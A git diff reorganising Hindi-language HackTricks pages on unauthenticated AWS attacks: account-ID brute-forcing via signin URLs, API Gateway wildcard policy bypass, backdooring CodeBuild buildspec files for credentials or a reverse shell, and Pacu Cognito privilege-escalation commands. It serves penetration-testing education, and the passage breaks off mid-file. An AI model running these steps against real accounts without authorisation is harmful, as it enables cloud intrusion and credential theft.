diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
new file mode 100644
index 000000000..64c8f1802
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-accounts-unauthenticated-enum/README.md
@@ -0,0 +1,43 @@
+# AWS - Accounts Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Account IDs
+
+यदि आपके पास कोई target है, तो लक्ष्य से संबंधित खातों के account IDs की पहचान करने के तरीके हैं।
+
+### Brute-Force
+
+आप संभावित account IDs और aliases की एक सूची बनाते हैं और उन्हें जांचते हैं
+```bash
+# Check if an account ID exists
+curl -v https://.signin.aws.amazon.com
+## If response is 404 it doesn't, if 200, it exists
+## It also works from account aliases
+curl -v https://vodafone-uk2.signin.aws.amazon.com
+```
+You can [automate this process with this tool](https://github.com/dagrz/aws_pwn/blob/master/reconnaissance/validate_accounts.py).
+
+### OSINT
+
+उन URLs की तलाश करें जिनमें `.signin.aws.amazon.com` शामिल हो और जिनका **alias संगठन से संबंधित** हो।
+
+### Marketplace
+
+यदि किसी vendor के **instances Marketplace में** हैं, तो आप उस AWS account का owner id (account id) प्राप्त कर सकते हैं जिसका उसने उपयोग किया था।
+
+### Snapshots
+
+- Public EBS snapshots (EC2 -> Snapshots -> Public Snapshots)
+- RDS public snapshots (RDS -> Snapshots -> All Public Snapshots)
+- Public AMIs (EC2 -> AMIs -> Public images)
+
+### Errors
+
+कई AWS error messages (यहाँ तक कि 'access denied') यह जानकारी दे देते हैं।
+
+## References
+
+- [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ)
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
deleted file mode 100644
index 9497c8030..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum.md
+++ /dev/null
@@ -1,52 +0,0 @@
-# AWS - API Gateway Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### API Invoke bypass
-
-के अनुसार [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE), Lambda Authorizers को API एंडपॉइंट्स को कॉल करने के लिए अनुमति देने के लिए **IAM सिंटैक्स** का उपयोग करके कॉन्फ़िगर किया जा सकता है। यह [**docs से लिया गया है**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html):
-```json
-{
-"Version": "2012-10-17",
-"Statement": [
-{
-"Effect": "Permission",
-"Action": ["execute-api:Execution-operation"],
-"Resource": [
-"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
-]
-}
-]
-}
-```
-इस तरीके से एंडपॉइंट्स को इनवोक करने के लिए अनुमति देने की समस्या यह है कि **"\*" का अर्थ "कुछ भी" है** और **कोई और regex सिंटैक्स समर्थित नहीं है**।
-
-कुछ उदाहरण:
-
-- एक नियम जैसे `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` ताकि प्रत्येक उपयोगकर्ता को `/dashboard/user/{username}` तक पहुंच मिल सके, उन्हें अन्य मार्गों तक भी पहुंच मिल जाएगी जैसे कि `/admin/dashboard/createAdmin` उदाहरण के लिए।
-
-> [!WARNING]
-> ध्यान दें कि **"\*" स्लैश के साथ विस्तारित होना बंद नहीं होता**, इसलिए, यदि आप उदाहरण के लिए api-id में "\*" का उपयोग करते हैं, तो यह "किसी भी चरण" या "किसी भी विधि" को भी इंगित कर सकता है जब तक अंतिम regex अभी भी मान्य है।\
-> इसलिए `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
-> उदाहरण के लिए `/prod/GET/dashboard/admin` पथ पर परीक्षण चरण के लिए एक पोस्ट अनुरोध को मान्य कर सकता है।
-
-आपको हमेशा स्पष्ट होना चाहिए कि आप किसे पहुंच देने की अनुमति देना चाहते हैं और फिर जांचें कि क्या अनुमतियों के साथ अन्य परिदृश्य संभव हैं।
-
-अधिक जानकारी के लिए, [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) के अलावा, आप [**इस आधिकारिक aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints) में ऑथराइज़र्स को लागू करने के लिए कोड पा सकते हैं।
-
-### IAM नीति इंजेक्शन
-
-उसी [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE) में यह बताया गया है कि यदि कोड **उपयोगकर्ता इनपुट** का उपयोग करके **IAM नीतियों** को **जनरेट** कर रहा है, तो वहां वाइल्डकार्ड (और अन्य जैसे "." या विशिष्ट स्ट्रिंग) शामिल किए जा सकते हैं जिसका लक्ष्य **प्रतिबंधों को बायपास करना** है।
-
-### सार्वजनिक URL टेम्पलेट
-```
-https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
-```
-### सार्वजनिक API गेटवे URL से खाता आईडी प्राप्त करें
-
-S3 बकेट, डेटा एक्सचेंज और लैम्ब्डा URL गेटवे की तरह, एक सार्वजनिक API गेटवे URL से **`aws:ResourceAccount`** **पॉलिसी कंडीशन की** का दुरुपयोग करके एक खाते की खाता आईडी ढूंढना संभव है। यह पॉलिसी के **`aws:ResourceAccount`** अनुभाग में वाइल्डकार्ड का दुरुपयोग करके एक बार में एक अक्षर खाता आईडी खोजकर किया जाता है।\
-यह तकनीक आपको **टैग के मान** प्राप्त करने की भी अनुमति देती है यदि आप टैग कुंजी जानते हैं (कुछ डिफ़ॉल्ट दिलचस्प होते हैं)।
-
-आप [**मूल शोध**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और इस शोषण को स्वचालित करने के लिए उपकरण [**conditional-love**](https://github.com/plerionhq/conditional-love/) में अधिक जानकारी प्राप्त कर सकते हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
new file mode 100644
index 000000000..091f9acc2
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-api-gateway-unauthenticated-enum/README.md
@@ -0,0 +1,54 @@
+# AWS - API Gateway Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### API Invoke bypass
+
+उक्त टॉक [Attack Vectors for APIs Using AWS API Gateway Lambda Authorizers - Alexandre & Leonardo](https://www.youtube.com/watch?v=bsPKk7WDOnE) के अनुसार, Lambda Authorizers को **using IAM syntax** का उपयोग करके API endpoints को invoke करने की permissions देने के लिए configure किया जा सकता है। यह [**from the docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html) से लिया गया है:
+```json
+{
+"Version": "2012-10-17",
+"Statement": [
+{
+"Effect": "Permission",
+"Action": ["execute-api:Execution-operation"],
+"Resource": [
+"arn:aws:execute-api:region:account-id:api-id/stage/METHOD_HTTP_VERB/Resource-path"
+]
+}
+]
+}
+```
+The problem with this way to give permissions to invoke endpoints is that the **"\*" implies "anything"** and there is **no more regex syntax supported**.
+
+कुछ उदाहरण:
+
+- A rule such as `arn:aws:execute-apis:sa-east-1:accid:api-id/prod/*/dashboard/*` in order to give each user access to `/dashboard/user/{username}` will give them access to other routes such as `/admin/dashboard/createAdmin` for example.
+
+> [!WARNING]
+> Note that **"\*" doesn't stop expanding with slashes**, therefore, if you use "\*" in api-id for example, it could also indicate "any stage" or "any method" as long as the final regex is still valid.\
+> So `arn:aws:execute-apis:sa-east-1:accid:*/prod/GET/dashboard/*`\
+> Can validate a post request to test stage to the path `/prod/GET/dashboard/admin` for example.
+
+आपको हमेशा स्पष्ट होना चाहिए कि आप किन चीज़ों को access की अनुमति देना चाहते हैं और फिर यह जांचना चाहिए कि दिए गए permissions के साथ अन्य परिदृश्य संभव हैं या नहीं।
+
+For more info, apart of the [**docs**](https://docs.aws.amazon.com/apigateway/latest/developerguide/api-gateway-control-access-using-iam-policies-to-invoke-api.html), you can find code to implement authorizers in [**this official aws github**](https://github.com/awslabs/aws-apigateway-lambda-authorizer-blueprints/tree/master/blueprints).
+
+### IAM Policy Injection
+
+In the same [**talk** ](https://www.youtube.com/watch?v=bsPKk7WDOnE)it's exposed the fact that if the code is using **user input** to **generate the IAM policies**, wildcards (and others such as "." or specific strings) can be included in there with the goal of **bypassing restrictions**.
+
+### Public URL टेम्पलेट
+```
+https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}
+```
+### सार्वजनिक API Gateway URL से खाता ID प्राप्त करें
+
+S3 buckets, Data Exchange और Lambda URLs gateways की तरह, सार्वजनिक API Gateway URL से **`aws:ResourceAccount`** **Policy Condition Key** का दुरुपयोग करके किसी खाते का खाता ID पता करना संभव है.\
+यह नीति के **`aws:ResourceAccount`** सेक्शन में wildcards का दुरुपयोग करके खाता ID को एक-एक कर के खोज कर किया जाता है.
+
+यह तकनीक टैग कुंजी ज्ञात होने पर टैग के मान (values) भी प्राप्त करने की अनुमति देती है (कुछ डिफ़ॉल्ट रोचक टैग होते हैं).
+
+आप अधिक जानकारी [**original research**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) और शोषण को स्वचालित करने के लिए टूल [**conditional-love**](https://github.com/plerionhq/conditional-love/) में पा सकते हैं.
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
deleted file mode 100644
index 6b6bd9112..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum.md
+++ /dev/null
@@ -1,9 +0,0 @@
-# AWS - Cloudfront Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-### सार्वजनिक URL टेम्पलेट
-```
-https://{random_id}.cloudfront.net
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
new file mode 100644
index 000000000..ff8458c66
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cloudfront-unauthenticated-enum/README.md
@@ -0,0 +1,9 @@
+# AWS - Cloudfront Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+### सार्वजनिक URL टेम्प्लेट
+```
+https://{random_id}.cloudfront.net
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
deleted file mode 100644
index 5ea1d3a2b..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access.md
+++ /dev/null
@@ -1,33 +0,0 @@
-# AWS - CodeBuild अनधिकृत पहुँच
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## CodeBuild
-
-अधिक जानकारी के लिए इस पृष्ठ को देखें:
-
-{{#ref}}
-../aws-services/aws-codebuild-enum.md
-{{#endref}}
-
-### buildspec.yml
-
-यदि आप **`buildspec.yml`** नामक फ़ाइल वाले एक रिपॉजिटरी पर लिखने की पहुँच को समझौता करते हैं, तो आप इस फ़ाइल को **backdoor** कर सकते हैं, जो **आदेशों को निर्दिष्ट करती है जो एक CodeBuild प्रोजेक्ट के अंदर निष्पादित होने वाले हैं** और रहस्यों को निकाल सकते हैं, जो किया जा रहा है उसे समझौता कर सकते हैं और साथ ही **CodeBuild IAM भूमिका क्रेडेंशियल्स** को भी समझौता कर सकते हैं।
-
-ध्यान दें कि भले ही कोई **`buildspec.yml`** फ़ाइल न हो, लेकिन यदि आप जानते हैं कि Codebuild का उपयोग किया जा रहा है (या कोई अन्य CI/CD) **कुछ वैध कोड को संशोधित करना** जो निष्पादित होने वाला है, आपको उदाहरण के लिए एक रिवर्स शेल भी मिल सकता है।
-
-कुछ संबंधित जानकारी के लिए आप Github Actions पर हमले के बारे में पृष्ठ देख सकते हैं (इससे मिलता-जुलता):
-
-{{#ref}}
-../../../pentesting-ci-cd/github-security/abusing-github-actions/
-{{#endref}}
-
-## AWS CodeBuild में स्वयं-होस्टेड GitHub Actions रनर्स 
-
-जैसा कि [**दस्तावेज़ों में संकेतित है**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), **CodeBuild** को **स्वयं-होस्टेड Github क्रियाएँ** चलाने के लिए कॉन्फ़िगर करना संभव है जब एक कार्यप्रवाह एक कॉन्फ़िगर किए गए Github रिपॉजिटरी के अंदर ट्रिगर होता है। इसे CodeBuild प्रोजेक्ट कॉन्फ़िगरेशन की जाँच करके पता लगाया जा सकता है क्योंकि **`Event type`** में शामिल होना चाहिए: **`WORKFLOW_JOB_QUEUED`** और एक Github कार्यप्रवाह में क्योंकि यह एक **स्वयं-होस्टेड** रनर का चयन करेगा जैसे:
-```bash
-runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }}
-```
-यह Github Actions और AWS के बीच का नया संबंध Github से AWS को समझौता करने का एक और तरीका बनाता है क्योंकि Github में कोड एक CodeBuild प्रोजेक्ट में चल रहा होगा जिसमें एक IAM भूमिका संलग्न है।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
new file mode 100644
index 000000000..c7dacc904
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-codebuild-unauthenticated-access/README.md
@@ -0,0 +1,33 @@
+# AWS - CodeBuild अनधिकृत एक्सेस
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## CodeBuild
+
+अधिक जानकारी के लिए इस पृष्ठ को देखें:
+
+{{#ref}}
+../../aws-services/aws-codebuild-enum.md
+{{#endref}}
+
+### buildspec.yml
+
+यदि आप किसी रिपॉजिटरी पर write access हासिल कर लेते हैं जिसमें **`buildspec.yml`** नाम की फ़ाइल मौजूद है, तो आप इस फ़ाइल में **backdoor** डाल सकते हैं, जो कि CodeBuild प्रोजेक्ट के अंदर निष्पादित होने वाले **commands** को निर्दिष्ट करती है, और इससे secrets को exfiltrate किया जा सकता है, जो कुछ किया जा रहा है उसे compromise किया जा सकता है और साथ ही **CodeBuild IAM role credentials** भी compromise हो सकते हैं।
+
+ध्यान दें कि भले ही कोई **`buildspec.yml`** फ़ाइल न हो लेकिन आप जानते हों कि Codebuild इस्तेमाल हो रहा है (या कोई अलग CI/CD), तो निष्पादित होने वाले कुछ **modifying some legit code** से भी, उदाहरण के लिए, आपको एक reverse shell मिल सकती है।
+
+For some related information you could check the page about how to attack Github Actions (similar to this):
+
+{{#ref}}
+../../../../pentesting-ci-cd/github-security/abusing-github-actions/
+{{#endref}}
+
+## Self-hosted GitHub Actions runners in AWS CodeBuild 
+
+As [**indicated in the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/action-runner.html), यह संभव है कि आप **CodeBuild** को configure करें ताकि वह तब **self-hosted Github actions** चलाए जब किसी configured Github repo के भीतर workflow trigger हो। इसे CodeBuild project configuration की जाँच करके पहचाना जा सकता है क्योंकि **`Event type`** में **`WORKFLOW_JOB_QUEUED`** शामिल होना चाहिए और Github Workflow में यह एक **self-hosted** runner चुन लेगा, जैसे कि:
+```bash
+runs-on: codebuild--${{ github.run_id }}-${{ github.run_attempt }}
+```
+Github Actions और AWS के बीच यह नया संबंध Github से AWS को compromise करने का एक और तरीका बनाता है, क्योंकि Github में कोड एक CodeBuild प्रोजेक्ट में चलेगा जिस पर एक IAM role जुड़ा होगा।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
deleted file mode 100644
index a8190c7bc..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum.md
+++ /dev/null
@@ -1,44 +0,0 @@
-# AWS - Cognito Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Unauthenticated Cognito
-
-Cognito एक AWS सेवा है जो डेवलपर्स को **अपने ऐप उपयोगकर्ताओं को AWS सेवाओं तक पहुंच प्रदान करने** की अनुमति देती है। डेवलपर्स **प्रमाणित उपयोगकर्ताओं** को अपने ऐप में **IAM भूमिकाएँ** प्रदान करेंगे (संभवतः लोग केवल साइन अप कर सकेंगे) और वे **अनप्रमाणित उपयोगकर्ताओं** को भी **IAM भूमिका** प्रदान कर सकते हैं।
-
-Cognito के बारे में बुनियादी जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-cognito-enum/
-{{#endref}}
-
-### पहचान पूल आईडी
-
-पहचान पूल **अनप्रमाणित उपयोगकर्ताओं** को **IAM भूमिकाएँ** प्रदान कर सकते हैं जो केवल **पहचान पूल आईडी** को **जानते हैं** (जो **खोजना** काफी सामान्य है), और इस जानकारी के साथ एक हमलावर **IAM भूमिका** तक पहुँचने और इसका दुरुपयोग करने की कोशिश कर सकता है।\
-इसके अलावा, IAM भूमिकाएँ उन **प्रमाणित उपयोगकर्ताओं** को भी सौंपे जा सकते हैं जो पहचान पूल तक पहुँचते हैं। यदि एक हमलावर **एक उपयोगकर्ता को पंजीकृत** कर सकता है या पहले से ही पहचान पूल में उपयोग किए जाने वाले **पहचान प्रदाता** तक **पहुँच** रखता है, तो आप **प्रमाणित** उपयोगकर्ताओं को दी गई **IAM भूमिका** तक पहुँच सकते हैं और इसके विशेषाधिकारों का दुरुपयोग कर सकते हैं।
-
-[**यहाँ देखें कि ऐसा कैसे करें**](../aws-services/aws-cognito-enum/cognito-identity-pools.md).
-
-### उपयोगकर्ता पूल आईडी
-
-डिफ़ॉल्ट रूप से Cognito **नए उपयोगकर्ता को पंजीकृत** करने की अनुमति देता है। एक उपयोगकर्ता को पंजीकृत करने में सक्षम होना आपको **नींव एप्लिकेशन** या **एक पहचान पूल के प्रमाणित IAM एक्सेस भूमिका** तक **पहुँच** दे सकता है जो पहचान प्रदाता के रूप में Cognito उपयोगकर्ता पूल को स्वीकार कर रहा है। [**यहाँ देखें कि ऐसा कैसे करें**](../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
-
-### पैकू मॉड्यूल्स पेंटेस्टिंग और एन्यूमरेशन के लिए
-
-[Pacu](https://github.com/RhinoSecurityLabs/pacu), AWS शोषण ढांचा, अब "cognito\_\_enum" और "cognito\_\_attack" मॉड्यूल शामिल करता है जो एक खाते में सभी Cognito संपत्तियों की एन्यूमरेशन को स्वचालित करता है और कमजोर कॉन्फ़िगरेशन, पहुँच नियंत्रण के लिए उपयोगकर्ता विशेषताएँ, आदि को चिह्नित करता है, और उपयोगकर्ता निर्माण (MFA समर्थन सहित) और परिवर्तनीय कस्टम विशेषताओं, उपयोग योग्य पहचान पूल क्रेडेंशियल्स, आईडी टोकन में असुमेबल भूमिकाओं आदि के आधार पर विशेषाधिकार वृद्धि को भी स्वचालित करता है।
-
-मॉड्यूल के कार्यों का विवरण देखने के लिए [ब्लॉग पोस्ट](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। स्थापना निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पृष्ठ देखें।
-
-#### उपयोग
-
-एक दिए गए पहचान पूल और उपयोगकर्ता पूल क्लाइंट के खिलाफ उपयोगकर्ता निर्माण और सभी प्रिवेस्क वेक्टरों का प्रयास करने के लिए `cognito__attack` का नमूना उपयोग:
-```bash
-Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
-us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
-59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
-```
-सैंपल cognito\_\_enum का उपयोग वर्तमान AWS खाते में दृश्य सभी उपयोगकर्ता पूल, उपयोगकर्ता पूल क्लाइंट, पहचान पूल, उपयोगकर्ताओं आदि को इकट्ठा करने के लिए:
-```bash
-Pacu (new:test) > run cognito__enum
-```
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
new file mode 100644
index 000000000..34db0d789
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-cognito-unauthenticated-enum/README.md
@@ -0,0 +1,44 @@
+# AWS - Cognito Unauthenticated Enum
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Unauthenticated Cognito
+
+Cognito एक AWS सेवा है जो डेवलपर्स को सक्षम बनाती है कि वे अपने ऐप उपयोगकर्ताओं को AWS सेवाओं तक पहुँच प्रदान कर सकें। डेवलपर्स अपने ऐप में authenticated users को **IAM roles प्रदान** करते हैं (संभावना है कि लोग बस sign up कर सकें) और वे unauthenticated users को भी एक **IAM role** दे सकते हैं।
+
+For basic info about Cognito check:
+
+{{#ref}}
+../../aws-services/aws-cognito-enum/
+{{#endref}}
+
+### Identity Pool ID
+
+Identity Pools उन users को भी **IAM roles प्रदान** कर सकते हैं जो केवल **Identity Pool ID** को जानते हैं (जो आमतौर पर मिल जाना आसान होता है), और इस जानकारी वाले एक attacker उस IAM role तक पहुँचने और उसे exploit करने की कोशिश कर सकता है।  
+इसके अलावा, IAM roles उन **authenticated users** को भी असाइन किए जा सकते हैं जो Identity Pool तक पहुँचते हैं। यदि कोई attacker **एक user रजिस्टर कर सकता है** या पहले से ही उस **identity provider** तक access रखता है जो identity pool में उपयोग किया जाता है, तो वह उन **authenticated users को दिए जा रहे IAM role** तक पहुँच बना कर उसके privileges का दुरुपयोग कर सकता है।
+
+[**इसे कैसे करना है, यहाँ देखें**](../../aws-services/aws-cognito-enum/cognito-identity-pools.md).
+
+### User Pool ID
+
+डिफ़ॉल्ट रूप से Cognito नए users को **register** करने की अनुमति देता है। किसी user को register करने में सक्षम होना आपको underlying application या उस **authenticated IAM access role of an Identity Pool** तक पहुँच दे सकता है जो Cognito User Pool को identity provider के रूप में स्वीकार करता है। [**इसे कैसे करना है, यहाँ देखें**](../../aws-services/aws-cognito-enum/cognito-user-pools.md#registration).
+
+### Pacu modules for pentesting and enumeration
+
+[Pacu](https://github.com/RhinoSecurityLabs/pacu), the AWS exploitation framework, अब "cognito__enum" और "cognito__attack" मॉड्यूल्स शामिल करता है जो किसी account में सभी Cognito assets की enumeration को automate करते हैं और कमजोर कॉन्फ़िगरेशन, access control के लिए उपयोग किए जाने वाले user attributes आदि को flag करते हैं, साथ ही user creation (MFA support सहित) और modifiable custom attributes, usable identity pool credentials, id tokens में assumable roles आदि के आधार पर privilege escalation को भी automate करते हैं।
+
+मॉड्यूल्स के फ़ंक्शंस का विवरण देखने के लिए [blog post](https://rhinosecuritylabs.com/aws/attacking-aws-cognito-with-pacu-p2) के भाग 2 को देखें। इंस्टॉलेशन निर्देशों के लिए मुख्य [Pacu](https://github.com/RhinoSecurityLabs/pacu) पेज देखें।
+
+#### Usage
+
+Sample `cognito__attack` usage to attempt user creation and all privesc vectors against a given identity pool and user pool client:
+```bash
+Pacu (new:test) > run cognito__attack --username randomuser --email XX+sdfs2@gmail.com --identity_pools
+us-east-2:a06XXXXX-c9XX-4aXX-9a33-9ceXXXXXXXXX --user_pool_clients
+59f6tuhfXXXXXXXXXXXXXXXXXX@us-east-2_0aXXXXXXX
+```
+cognito\_\_enum का नमूना उपयोग वर्तमान AWS खाते में दिखाई देने वाले सभी user pools, user pool clients, identity pools, users, आदि इकट्ठा करने के लिए:
+```bash
+Pacu (new:test) > run cognito__enum
+```
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
similarity index 59%
rename from src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
rename to src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
index 0845f4d1f..9457cd394 100644
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum.md
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-documentdb-enum/README.md
@@ -1,9 +1,9 @@
 # AWS - DocumentDB Unauthenticated Enum
 
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
 
 ### सार्वजनिक URL टेम्पलेट
 ```
 .cluster-..docdb.amazonaws.com
 ```
-{{#include ../../../banners/hacktricks-training.md}}
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
deleted file mode 100644
index 2a5fb0e06..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access.md
+++ /dev/null
@@ -1,15 +0,0 @@
-# AWS - DynamoDB अनधिकृत पहुँच
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## Dynamo DB
-
-अधिक जानकारी के लिए देखें:
-
-{{#ref}}
-../aws-services/aws-dynamodb-enum.md
-{{#endref}}
-
-AWS या कुछ समझौता किए गए बाहरी AWS खाते तक पहुँच देने के अलावा, या DynamoDB के साथ संवाद करने वाले किसी एप्लिकेशन में कुछ SQL इंजेक्शन होने के अलावा, मुझे DynamoDB से AWS खातों तक पहुँचने के और विकल्प नहीं पता हैं।
-
-{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
new file mode 100644
index 000000000..8e96ccfea
--- /dev/null
+++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-dynamodb-unauthenticated-access/README.md
@@ -0,0 +1,15 @@
+# AWS - DynamoDB बिना प्रमाणीकरण के एक्सेस
+
+{{#include ../../../../banners/hacktricks-training.md}}
+
+## Dynamo DB
+
+अधिक जानकारी के लिए देखें:
+
+{{#ref}}
+../../aws-services/aws-dynamodb-enum.md
+{{#endref}}
+
+DynamoDB के जरिए सभी AWS संसाधनों तक पहुँच देने या किसी समझौता हुए बाहरी AWS खाते तक पहुँच देने, या DynamoDB से संवाद करने वाले किसी एप्लिकेशन में SQL injections होने के अलावा, मुझे DynamoDB से AWS खातों तक पहुँचने के अन्य तरीके ज्ञात नहीं हैं।
+
+{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
deleted file mode 100644
index a232bcd14..000000000
--- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-ec2-unauthenticated-enum.md
+++ /dev/null
@@ -1,54 +0,0 @@
-# AWS - EC2 Unauthenticated Enum
-
-{{#include ../../../banners/hacktricks-training.md}}
-
-## EC2 & संबंधित सेवाएँ
-
-इस पृष्ठ पर इसके बारे में अधिक जानकारी देखें:
-
-{{#ref}}
-../aws-services/aws-ec2-ebs-elb-ssm-vpc-and-vpn-enum/
-{{#endref}}
-
-### सार्वजनिक पोर्ट
-
-यह **वर्चुअल मशीनों के किसी भी पोर्ट को इंटरनेट पर एक्सपोज़** करना संभव है। **जो चल रहा है** उस पर निर्भर करते हुए, एक हमलावर इसका दुरुपयोग कर सकता है।
-
-#### SSRF
-
-{{#ref}}
-https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html
-{{#endref}}
-
-### सार्वजनिक AMIs & EBS स्नैपशॉट्स
-
-AWS **किसी को भी AMIs और स्नैपशॉट्स डाउनलोड करने की अनुमति देता है**। आप अपने खाते से इन संसाधनों को बहुत आसानी से सूचीबद्ध कर सकते हैं:
-```bash
-# Public AMIs
-aws ec2 describe-images --executable-users all
-
-## Search AMI by ownerID
-aws ec2 describe-images --executable-users all --query 'Images[?contains(ImageLocation, `967541184254/`) == `true`]'
-
-## Search AMI by substr ("shared" in the example)
